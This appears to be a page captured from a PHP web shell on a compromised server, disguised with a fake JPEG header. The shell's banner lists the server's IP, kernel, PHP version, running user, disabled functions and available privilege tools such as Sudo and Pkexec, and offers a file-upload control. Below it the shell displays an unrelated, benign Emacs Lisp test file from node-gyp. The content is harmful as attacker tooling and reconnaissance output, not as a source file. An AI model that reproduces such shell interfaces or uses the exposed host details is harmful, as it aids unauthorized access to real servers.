????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/lib/node_modules/npm/node_modules/node-gyp/gyp/tools/emacs/ |
Upload File : |
;;; gyp-tests.el - unit tests for gyp-mode.
;; Copyright (c) 2012 Google Inc. All rights reserved.
;; Use of this source code is governed by a BSD-style license that can be
;; found in the LICENSE file.
;; The recommended way to run these tests is to run them from the command-line,
;; with the run-unit-tests.sh script.
(require 'cl)
(require 'ert)
(require 'gyp)
(defconst samples (directory-files "testdata" t ".gyp$")
"List of golden samples to check")
(defun fontify (filename)
(with-temp-buffer
(insert-file-contents-literally filename)
(gyp-mode)
(font-lock-fontify-buffer)
(buffer-string)))
(defun read-golden-sample (filename)
(with-temp-buffer
(insert-file-contents-literally (concat filename ".fontified"))
(read (current-buffer))))
(defun equivalent-face (face)
"For the purposes of face comparison, we're not interested in the
differences between certain faces. For example, the difference between
font-lock-comment-delimiter and font-lock-comment-face."
(case face
((font-lock-comment-delimiter-face) font-lock-comment-face)
(t face)))
(defun text-face-properties (s)
"Extract the text properties from s"
(let ((result (list t)))
(dotimes (i (length s))
(setq result (cons (equivalent-face (get-text-property i 'face s))
result)))
(nreverse result)))
(ert-deftest test-golden-samples ()
"Check that fontification produces the same results as the golden samples"
(dolist (sample samples)
(let ((golden (read-golden-sample sample))
(fontified (fontify sample)))
(should (equal golden fontified))
(should (equal (text-face-properties golden)
(text-face-properties fontified))))))
(defun create-golden-sample (filename)
"Create a golden sample by fontifying filename and writing out the printable
representation of the fontified buffer (with text properties) to the
FILENAME.fontified"
(with-temp-file (concat filename ".fontified")
(print (fontify filename) (current-buffer))))
(defun create-golden-samples ()
"Recreate the golden samples"
(dolist (sample samples) (create-golden-sample sample)))